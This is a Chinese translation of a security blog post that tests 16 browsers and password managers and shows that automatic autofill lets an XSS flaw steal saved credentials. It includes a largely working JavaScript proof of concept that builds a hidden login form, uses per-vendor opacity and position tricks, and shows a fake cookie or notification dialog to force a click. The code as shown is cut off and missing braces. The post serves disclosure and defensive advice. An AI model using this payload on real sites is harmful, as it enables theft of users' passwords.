相关文章推荐
谦逊的帽子  ·  Dagger2 ...·  11 月前    · 

你应该关闭密码管理器的自动填充

本文翻译自 marektóth 博客文章《 You should turn off autofill in your password manager 》


2021 年 7 月 13 日

更新:

2021 年 7 月 19 日:在“对用户的潜在风险”中添加了示例,增加了自动填充类型的说明;

2021 年 7 月 27 日:编辑了 禁用 Firefox 的自动填充;

2021 年 7 月 31 日:新增了常见问题部分,以及在新版 Edge 中你可以在填充保存的密码之前要求输入系统密码。

注意:

本文不是关于手动的自动填充(在用户界面中点击),而是关于无需用户交互(或至少在任何地方单击)即可填充密码的密码管理器。XSS 漏洞可以在网站的任何地方,而不一定是在登录页面上。


密码管理器是当今 IT 安全领域非常流行的话题。我只能同意使用密码管理器,毕竟,记住几十个独一无二的密码几乎是不可能的。

然而,人们往往没有提到自动填充功能应该被禁用或设置为仅在用户请求时填充。相反,此功能通常被描述为:确保方便和“安全”登录的有用功能。它的确很方便,但不安全。

大多数密码管理器默认启用自动填充功能, 即使它降低了存储密码的安全性。

如果用户使用默认设置或遵循密码管理器的建议, 那么在16个测试的浏览器和密码管理器中,就有11个可以通过单击鼠标来盗取保存的登录凭据。 因此,网站上的数据库/密码不必泄露,攻击者仍然可以获取你的数据——所有这些都是可读且未加密的(明文)。

自动填充有两种类型: 自动的自动填充 (无需用户交互就会自动填充密码)和 手动的自动填充 (用户交互后才会自动填充密码 - 点击密码管理器的用户界面)。 以下文章中所讲的自动填充,始终表示自动的自动填充。

目录:

  • 自动填充
  • 基于chromium的浏览器自动填充
  • 滥用自动填充?跨站脚本 (XSS)
  • 浏览器和密码管理器的分析
  • 局限性
  • 脚本和演示
  • 点击劫持 KeePassXC-浏览器
  • 对用户的潜在风险
  • 公司的潜在风险 / 信息安全建议
  • 建议
  • 结论
  • 常见问题

自动填充

顾名思义,此功能可确保密码管理器自动填写登录表单。预先填充数据仅针对已存储数据的网站域名。

自动填充的行为取决于许多因素。除了域名之外,还会检查使用的协议 (http/https)、表单属性以及元素 ID 和名称。

从安全的角度来看,此功能可用于验证用户是否在钓鱼网站上。如果是,数据将不会被自动填充。用户可能会注意到异常行为并可以检查他们当前所在的网站域名。

除了“验证”钓鱼网站之外,这更像是一种方便的登录功能,因为用户无需点击任何地方就可以预先填写所有内容。但是,预填充数据也是一个问题,因为所有数据都是可读形式(明文)并且可以使用 javascript 访问。

基于chromium的浏览器自动填充

基于chromium的浏览器(Brave 浏览器除外),自动填充功能的工作方式与 Firefox 或常规密码管理器等有点不同。

在这些浏览器中,数据在第一眼看到时已经填充好了,但事实并非如此。表单中的数据并没有真正填充,只有在用户与网站交互时才填充。

用户交互的类型必须是值得信任的(即由用户触发),比如击键或者鼠标点击等等。鼠标悬停、鼠标移动和类似的“更简单”事件不会执行完全自动填充。如果在没有用户与网站的预先交互下显示了输入的内容,则只会显示空值。

为了演示,我创建了一个脚本,该脚本在 5 秒后显示表单中的值的内容。

<form action="/example.html">
      <label for="username">Username</label><br>
      <input type="text" id="username" name="username"> <br>
      <label for="psw">Password</label><br>
      <input type="password" id="password" name="password"><br><br>
      <input type="submit" value="Submit">
</form>
<script>
window.setTimeout(function(){
       var username = document.getElementById("username").value;
       var password = document.getElementById("password").value;
       alert(username+":"+password);
}, 5000);
</script>

你可以在以下动画中看到自动填充在基于chromium的浏览器中的工作原理:

0次点击

1次点击

因此,攻击者必须以某种方式诱使用户点击网站上的某处。作为攻击者,我可能会显示通知或 cookie 对话框。这两种类型的元素在网站上很常见,因此受害者不会怀疑有可疑活动。

这个的目的不是让受害者准确点击某个地方,而是进行点击。显示一个影响浏览网站的元素,并且需要与网站交互才能删除,在我看来,这是从用户那里获得点击的一种非常有效的方式。

滥用自动填充?跨站脚本 (XSS)

XSS 是最常见的 Web 漏洞。如果网页存在这种类型的漏洞,就可以将 javascript 代码注入该页面。注入的代码会执行攻击者定义的操作,例如窃取登录凭据。

有几种方法可以利用 XSS 窃取用户登录凭据。有人可能会考虑捕获输入到登录表单的值或更改表单操作值(也就是即将发送数据的地址)。然后我有几个问题:

  • 如果 XSS 漏洞与登录表单不在同一页面怎么办?
  • 如果用户已经登录,因此登录表单不可用怎么办?

答案可能是向用户显示一个全新的登录表单。理想情况下,仍然更改前端以使其看起来像是已注销。

是的,它可能有用,但使用这种方法,我就不得不依赖受害者重新输入他们的凭据。但是如果用户没有填充新的登录表单怎么办?

我不喜欢让受害者进行复杂的互动。如果要让用户进行 2 次以上的正常鼠标点击,那也是太麻烦了,我正在考虑不同的解决方案。除其他事项外,如果我要求用户再次登录(重新输入凭据),那这时就是社会工程学的问题了。

我的方法是滥用密码管理器的自动填充功能。如果我知道 XSS 漏洞, 我将使用 javascript 创建一个新的登录表单,该表单将对用户完全隐藏。 密码管理器将检测到此表单的存在,并自动将数据填入其中。因此,这个的目的就是利用正在使用的密码管理器中的错误配置。

优点:

  • 攻击发生在后台
  • 不需要受害者互动,或者只需要最少的互动——1 次点击
  • XSS 漏洞可以存在于网站域名中的任何地方, 对于某些密码管理器,即使是子域名也足够了
  • 用户可以登录或注销退出

限制:

  • 用户必须已经存有该网站域名的密码
  • 受害者必须在密码管理器中启用自动的自动填充
  • 密码管理器不得被锁定/注销退出

“XSS 伪造登录界面”和“XSS 隐藏登录表单”之间的受害者交互差异:

XSS 伪造登录界面:点击输入用户名/邮箱,填写用户名/邮箱,点击输入密码,填写密码。一共4次交互。

XSS 隐藏登录表单: 0-1 次交互(最多 1 次鼠标点击或击键)

浏览器和密码管理器分析

作为分析的一部分,我专注于最常用的浏览器和密码管理器。对于密码管理器,我只测试了浏览器插件,并且一切都只在桌面版本(尤其是 Google Chrome)中验证。所以在手机上,行为可能完全不同。

测试的浏览器和密码管理器:

Google Chrome 91.0.4472.124 - google.com/chrome

Mozilla Firefox 89.0.2 - https://www.mozilla.org

Safari 14.1.1 - apple.com/safari

Microsoft Edge 91.0.864.64 - microsoft.com/edge

Opera 77.0.4054.172 - https://www.opera.com

Internet Explorer 11 - microsoft.com/internete

Brave 1.26.74 - https://brave.com

Vivaldi 4.0.2312.36 - https://vivaldi.com

LastPass 4.75.0 - chrome.google.com/webst

1Password 2.0.4 - chrome.google.com/webst

Bitwarden 1.51.0 - chrome.google.com/webst

Dashlane 6.2123.1 - chrome.google.com/webst

Roboform 9.2.3.0 - chrome.google.com/webst

Keeper 15.3.5 - chrome.google.com/webst

KeePassXC-Browser 1.7.8.1 - chrome.google.com/webst

Sticky Password 8.3.1.3 - chrome.google.com/webst

1) 默认配置的浏览器和密码管理器

*Keeper 在首次登录时弹框提示用户是否要为网站域名启用自动填充,并且在对话框中向用户突出显示“是”

Mozilla Firefox 和 Internet Explorer 会自动填充密码。Google Chrome 和 基于 chromium 的浏览器(Brave 除外)仅在你与网站交互时填充密码。 总共可以从 6 个浏览器中一键获取密码。

至于密码管理器,其中 3 个默认启用自动填充。使用 Keeper 密码管理器,用户在首次使用存储的凭据之前需要确认是否要为特定网站域名启用自动填充。令人担忧的是,该对话框突出显示“ 是 ”选项。一旦被确认,以后就不再询问用户,数据完全自动填充。

使用自动填充密码管理器,无需与网站交互即可填充数据,即完全自动且无需用户协助。如果算上 Keeper 和当前易受攻击的 KeePassXC-Browser, 那就可以从 5 个密码管理器中一键获取密码。

自动填充的行为取决于你所使用的密码管理器。对于只使用 Brave 浏览器存储密码的用户,自动填充不会发生。如果用户只将 Brave 用作浏览器,并且使用例如 LastPass 作为其主要密码管理器,则此时浏览器的行为会受到密码管理器的影响。因此,如果安装了 LastPass 密码管理器,Brave 浏览器也会自动填充数据。

1.1) 在不同的 URL 路径上自动填充并更改表单中的属性:

凭据存储在:https://example.com

不同的 URL 路径:https://example.com/foo

子域名:https://subdomain.example.com

发生攻击的情况下,最需要关注的点是:当表单显示在另一个 URL 或子域名上时,密码管理器分别会有怎样的行为方式。创建新表单时,攻击者可以更改名称、输入 ID 或其他属性。

令人非常不安的是, LastPass 和 Sticky Password 正在填充数据,即使它只是一个子域名。

1.2) 自动填充子域名

新创建的表单始终与存储数据的表单具有相同的属性。

凭据保存在:https://subdomain.example.com

相同的子域名(不同的 URL 路径):https://subdomain.example.com/foo

不同的子域名:https://subdomain2.example.com

4.级别域:https://foo.subdomain.example.com

LastPass 中,数据填充在与保存凭据的子域名完全不同的子域名中。

2) 额外启用自动填充的密码管理器

可能有些用户想要从基于浏览器的密码管理器切换到另一个,但行为相同。也就是说,当使用不同的密码管理器时,数据会像以前一样自动填充。所以他们决定在设置中启用这个功能。

在其余密码管理器中,无法为1Password、Brave 或 Safari 设置自动填充。对于其他诸如 Bitwarden、KeePassXC-Browser 和 Roboform,则是可以的。如果仅启用此功能(无其他更改),则没有任何密码管理器需要用户执行其他操作,数据完全自动填充。

Bitwarden 提前警告说,这是一项“实验性”功能。这描述并没有告诉用户什么信息。首先, 实验性一词并不意味着不安全。


唯一警告使用此功能的密码管理器是 KeePassXC-Browser。

2.1) 在不同的 URL 路径上自动填充并更改表单中的属性:

凭据存储在:https://example.com

不同的 URL 路径:https://example.com/foo

子域名:https://subdomain.example.com

仅测试了启用该功能。其他设置未更改,例如URL匹配等。

启用自动填充功能后(无需额外设置),存储密码的安全性降低。例如, Bitwarden RoboForm 也在子域名上填充数据。

2.2) 自动填充子域名

新创建的表单始终与保存数据的表单具有相同的属性。

凭据保存在:https://subdomain.example.com

相同的子域名(不同的 URL 路径):https://subdomain.example.com/foo

不同的子域名:https://subdomain2.example.com

4.级别域:https://foo.subdomain.example.com

Bitwarden RoboForm 在与保存凭据的子域名完全不同的子域名中填充数据。

局限性

要成功攻击,除了启用自动填充外,还必须满足其他条件。如果为特定网站域名保存了多个登录凭据,那攻击则可能会受到很大限制。这是因为如果用户存储了多个凭据,有些密码管理器就不知道要填充哪个。有些密码管理器会填充最后一次使用的数据,而有些则让用户选择他们想要填充的数据,这使得无法自动填充数据。

*如果用户已经在当前选项卡中选择过登录凭据,那就是Yes。如果是在一个全新的标签中,就是No。

其他限制:

只能窃取特定网站域名的一个存储密码。

LastPass:

  • 仅对成功登录后存储的密码进行自动填充

Keeper:

  • 首次登录时,它会询问是否要为网站域名启用自动填充,并且在对话框中向用户突出显示“是”
  • 对话确认后,以后都不再询问用户,数据完全自动地自动填充

脚本和演示

每个密码管理器检查登录表单的方式略有不同。对于一个密码管理器,该表单必须对用户可见,而对于另一个密码管理器,该表单可能完全隐藏。

我在编写脚本时发现的限制:

基于 Chromium

  • 用户必须与网站互动
  • 表单可以完全隐藏 ( )

Dashlane

  • 不能使用
  • 表单必须具有最小不透明度 0.2 ( opacity:0.2
  • 表单必须位于用户可见区域(不能是,例如: left: -1000px
  • 默认执行自动登录(自动提交)

Keeper

  • 不能使用
  • 表格可以有 opacity:0
  • 默认执行自动登录(自动提交)

Sticky Password

  • 不能使用 opacity:0 但可以使用 opacity:0.000001
  • 表单必须位于用户可见区域 - 只能为右侧和底部设置负值(不能是,例如: left: -1000px ,但 bottom:-1000px 可以)
  • 默认执行自动登录(自动提交)

Bitwarden

  • 不能使用 opacity:0 但可以使用 opacity:0.000001
  • 表单必须在用户可见的区域

“绕过”,解决了表单的可见性:

表单必须设置为: position: fixed; bottom: -{height of created form-X}px; X = 密码管理器的最小可见部分,例如Bitwarden:3.0001(大于 3),Dashlane:2

新创建的表单最多可见 1.5 秒。密码管理器将检测可见表单并填充数据。

脚本(仅用于红队/善意目的):

尽管有许多限制,我还是创建了一个脚本,该脚本可用于所有默认启用自动填充的密码管理器的测试站点。该脚本也适用于额外启用自动填充的密码管理器。

一开始,可以定义要向用户显示哪个对话框(强制单击)。还可以设置在对话框后面有一个覆盖层(使站点的可读性降低)或者阻止滚动页面。

创建新表单时,无需从原始表单复制样式(类)。

如果脚本被注入到原始登录表单已经存在的站点中,则需要先更改原始表单的所有标识属性。如果没有此更改,密码管理器可能无法在新创建的表单上填充信息。这将导致网站上出现 2 个完全相同的表单。

脚本说明:

  1. 创建一个与存储数据的表单相同的新表单。
  2. 新表单包含一个 onchange() 事件。如果表单的内容发生更改(数据已填充),则提取值 - document.getElementById("username").value document.getElementById("password").value .
  3. 如果用户使用密码管理器(基于 chromium 的浏览器除外),则不需要与网站进行交互。所以首先要做的是检查新创建的表单中是否已经填充了任何数据。
  4. 如果数据未在 1500 毫秒内填充,则会向用户显示通知或 cookie 对话框,这会强制用户点击。强制点击可以在基于chromium的浏览器中填充数据。
var overlay = "yes";            // yes, no
var scrolling = "no";           // yes, no
var dialog = "notification";    // notification, cookie
createLoginForm();
window.setTimeout(function(){
    hideLoginForm();
    // function especially for chromium-based browsers
    // show notification or cookie dialog that require a user interaction
    if (!!window.chrome && !document.getElementById("password").value) {
        showDialog();
        addDialogEvents();
}, 1500);
function createLoginForm() {
    var divlogin = document.createElement("div");
    divlogin.style = "position: fixed; bottom: -19.9999px; z-index: 2147483647; opacity:0.2";
    divlogin.id = "divlogin";
    divlogin.innerHTML  = ' \
            <form method="POST" action="login.html" id="form" onchange="getFormValues()"> \
                <input type="text" id="username" name="username" autocomplete=on required> \
                <input type="password" id="password" name="password" autocomplete=on required> \
                <button type="submit" id="submit">Login</button> \
            </form>';
    document.body.appendChild(divlogin);
// remove submit button to prevent autosubmit feature in password managers
function removeSubmitButton() {
  if (document.getElementById("submit")) {
        var element = document.getElementById("form");
        var child = document.getElementById("submit");
        element.removeChild(child);
function hideLoginForm() {
    divlogin.style.display = "none";
function getFormValues() {
    usr=document.getElementById("username").value;
    pw=document.getElementById("password").value;
    if (usr && pw) {
        removeSubmitButton();
        hideLoginForm();
        alert(usr+":"+pw);
function showDialog() {
    var overlaydiv = "";
    var boxshadow = "";
    var dialogdiv = document.createElement("div");
    if (overlay == "yes") {
        overlaydiv = '<div id="overlay"></div>';
        boxshadow = 'box-shadow:0 1px 12px rgb(5 27 44 / 33%), 0 2px 32px rgb(5 27 44 / 48%) !important;';
    } else {
        boxshadow = 'box-shadow:0 1px 6px rgb(5 27 44 / 6%), 0 2px 32px rgb(5 27 44 / 16%) !important;';
    if (dialog == "cookie") {
        dialogdiv.innerHTML = '<style>.no-scroll {overflow: hidden;} #overlay {position: fixed; display: block; width: 100%; height: 100%; top: 0; left: 0; right: 0; bottom: 0; background-color: rgba(0,0,0,0.5); z-index: 225859400; animation: .5s showoverlay; } #overlay.remove-overlay {animation: .5s hideoverlay; opacity: 0; } @keyframes showoverlay {from { opacity: 0; } to { opacity: 1; } } @keyframes hideoverlay {from { opacity: 1; } to { opacity: 0; } } #cookie-dialog {display: block!important; position: relative!important; opacity: 1!important; visibility: visible!important; margin: 290px auto 0!important; width: 650px!important; -webkit-box-sizing: content-box!important; -moz-box-sizing: content-box!important; box-sizing: content-box!important; max-width: 90%!important; background: #ffffff!important; padding: 12px 24px!important; overflow: hidden!important; z-index: 9999!important; border: 10px solid #5fa624!important; box-shadow: #333 1px 1px 10px 1px!important; line-height: 1.2!important; text-align: left!important; } #cookie-div {font-family: Arial,serif!important;width: 100%!important;height: 100%!important;margin: 0 auto!important;position: fixed!important;top: 0!important;left: 0!important;font-family: Arial,serif!important;z-index: 2258594000!important;overflow-y: auto!important;} #cookie-dialog h2 {font-size: 20px!important; line-height: 16px!important; font-weight: 700!important; margin: 10px 0 16px!important; } #cookie-dialog p {margin: 12px 0!important; line-height: 16px!important; text-indent: 0!important; font-weight: 400!important; font-size: 10pt!important; } #cookie-dialog #button-row {display: flex!important; flex-wrap: nowrap!important; justify-content: space-between!important; margin-right: 265px!important; } .btn {border: 1px solid #000000!important; font-family: Arial,serif!important; color: #000000!important; background: #ffffff!important; padding: 7px 10px!important; text-decoration: none!important; } #cookie-dialog #accept-all {border: none!important; color: #ffffff!important; background: #5fa624!important; text-decoration: none!important; } #links {display: flex!important; font-size: 12px!important; margin-top: 20px!important; } #cookie-dialog a {color: #5fa624!important; text-decoration: none!important; } #cookie-dialog a:hover {cursor: pointer!important; } .bar {margin: 0 5px!important; width: auto!important; height: auto!important; position: relative!important; } #accept-all:hover {cursor: pointer!important; background: #5fa624!important; text-decoration: none!important; } .btn:hover {cursor: pointer!important; background: #ffffff!important; text-decoration: none!important; }</style> \
                            '+overlaydiv+'<div id="cookie-div"><div id="cookie-dialog"> <div> <h2>Privacy & Transparency</h2> <p>We and our partners use cookies to  Store and/or access information on a device. We and our partners use data for  Personalised ads and content, ad and content measurement, audience insights and product development. An example of data being processed may be a unique identifier stored in a cookie. Some of our partners may process your data as a part of their legitimate business interest without asking for consent. To view the purposes they believe they have legitimate interest for, or to object to this data processing use the vendor list link below. The consent submitted will only be used for data processing originating from this website. If you would like to change your settings or withdraw consent at any time, the link to do so is in our privacy policy accessible from our home page.</p><p><span id="button-row"><button class="btn">Manage Settings</button><button id="accept-all" class="btn" style="color: rgb(255, 255, 255) !important;">Continue with Recommended Cookies</button> </span> </p> <div id="links"> <a href="javascript:void(0);">Vendor List</a> <span class="bar">|</span><a href="javascript:void(0);">Privacy Policy</a></div></div></div></div>';
    } else {
        dialogdiv.innerHTML = '<style>.no-scroll {overflow: hidden;} #overlay {position: fixed; display: block; width: 100%; height: 100%; top: 0; left: 0; right: 0; bottom: 0; background-color: rgba(0,0,0,0.5); z-index: 225859400; animation: .5s showoverlay; } #overlay.remove-overlay {animation: .5s hideoverlay; opacity: 0; } @keyframes showoverlay {from { opacity: 0; } to { opacity: 1; } } @keyframes hideoverlay {from { opacity: 1; } to { opacity: 0; } } #notification-container #notification-dialog .button {box-sizing: border-box; padding: 0.75em 1.5em; font-size: 1em; border-radius: .25em; font-weight: 400; box-shadow: unset; display: -ms-flexbox; display: flex; float: right; position: relative; line-height: 1.5; text-align: center; white-space: nowrap; vertical-align: middle; cursor: pointer; -webkit-user-select: none; font-family: inherit; letter-spacing: 0.05em; margin: 0; border: 1px solid transparent; } #notification-container #notification-dialog .button.secondary {box-shadow: none; background: white !important; color: #0078D1 !important; margin-right: 0.714em; } #notification-container #notification-dialog .sizing {display: block; -webkit-backface-visibility: initial !important; backface-visibility: initial !important; } #notification-container #notification-dialog .notification-body-message {box-sizing: border-box; padding: 0 0 0 1em; font-weight: 400; float: left; width: calc(100% - 80px); line-height: 1.45em; -o-user-select: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; cursor: default; color: #051B2C !important; } #notification-container #notification-dialog .notification-body-icon img.icon {width: 45px; top: 3px; left: 50%; transform: translateX(-50%); position: absolute; height: 45px; } #notification-container #notification-dialog .notification-body-icon {box-sizing: border-box; float: left; width: 80px; height: 80px; position: relative; } #notification-container #notification-dialog .notification-body {box-sizing: border-box; margin: 0; } #notification-container #notification-dialog {width: 500px; box-sizing: border-box; max-width: 100%; margin: 0 auto; '+boxshadow+' background: white !important; color: #051b2c; padding: 1.5em 1.5em; border-bottom-left-radius: 0.5em; border-bottom-right-radius: 0.5em; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Seoe UI Symbol"; } #notification-container {font-size: 16px; position: fixed; z-index: 2258594000; left: 0; right: 0; -webkit-font-smoothing: initial; } #notification-container.slide-down {top: 0; } #notification-dialog .sizing {content: ""; display: block; height: 0; clear: both; } #notification-container #notification-dialog .button.primary {background: #0078D1; color: white !important; } #notification-container #notification-dialog .button.primary:hover {background: #0062ab; } #notification-container.slide-down #notification-dialog {-webkit-animation-name: animationDown; -webkit-animation-iteration-count: 1; -webkit-animation-timing-function: ease-out; -webkit-animation-duration: 400ms; -webkit-animation-fill-mode: forwards; animation-name: animationDown; animation-iteration-count: 1; animation-timing-function: ease-out; animation-duration: 400ms; animation-fill-mode: forwards; -webkit-font-smoothing: initial; } #notification-container.slide-up {-webkit-animation-name: animationUp; -webkit-animation-iteration-count: 1; -webkit-animation-timing-function: ease-out; -webkit-animation-duration: 500ms; -webkit-animation-fill-mode: forwards; animation-name: animationUp; animation-iteration-count: 1; animation-timing-function: ease-out; animation-duration: 500ms; animation-fill-mode: forwards; } @keyframes animationUp {0% {transform: translateY(0%); } 100% {transform: translateY(-150%); } } @keyframes animationDown {0% {transform: translateY(-150%); } 100% {transform: translateY(0); }}</style> \
                            '+overlaydiv+'<div id="notification-container" class="notification-container slide-down"><div id="notification-dialog" class="notification-dialog"><div class="notification-body" id="notification-body"><div class="notification-body-icon"><img class="icon" alt="icon" src=\'data:image/svg+xml,%3Csvg fill="none" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 40 40"%3E%3Cg clip-path="url(%23clip0)"%3E%3Cpath fill-rule="evenodd" clip-rule="evenodd" d="M33.232 28.434a2.5 2.5 0 001.768.733 1.667 1.667 0 010 3.333H5a1.667 1.667 0 110-3.333 2.5 2.5 0 002.5-2.5v-8.104A13.262 13.262 0 0118.333 5.122V1.667a1.666 1.666 0 113.334 0v3.455A13.262 13.262 0 0132.5 18.563v8.104a2.5 2.5 0 00.732 1.767zM16.273 35h7.454a.413.413 0 01.413.37 4.167 4.167 0 11-8.28 0 .417.417 0 01.413-.37z" fill="%23BDC4CB"/%3E%3C/g%3E%3Cdefs%3E%3CclipPath id="clip0"%3E%3Cpath fill="%23fff" d="M0 0h40v40H0z"/%3E%3C/clipPath%3E%3C/defs%3E%3C/svg%3E\'></div><div class="notification-body-message">We\'d like to send you notifications for the latest news and updates.</div><div class="sizing"></div></div><div id="buttons"><button class="primary button">Allow</button><button class="secondary button">Cancel</button><div class="sizing"></div></div></div></div>';
    document.body.appendChild(dialogdiv);
    if (scrolling == "no") {
        document.getElementsByTagName("body")[0].classList.add("no-scroll");
function addDialogEvents() {
    window.addEventListener('click', function(){
        if (overlay == "yes") {
            hideOverlay();
        if (scrolling == "no") {
            document.getElementsByTagName("body")[0].classList.remove("no-scroll");
        if (dialog == "cookie") {
           document.getElementById("cookie-div").style.display = "none";
        } else {
             hideDialog();
    window.addEventListener('keydown', function(){
        if (overlay == "yes") {
            hideOverlay();
        if (scrolling == "no") {
            document.getElementsByTagName("body")[0].classList.remove("no-scroll");
        if (dialog == "cookie") {
            document.getElementById("cookie-div").style.display = "none";
        } else {
             hideDialog();
function hideDialog() {
    document.getElementById("notification-container").classList.add("slide-up");
function hideOverlay() {
    var x = document.getElementById("overlay");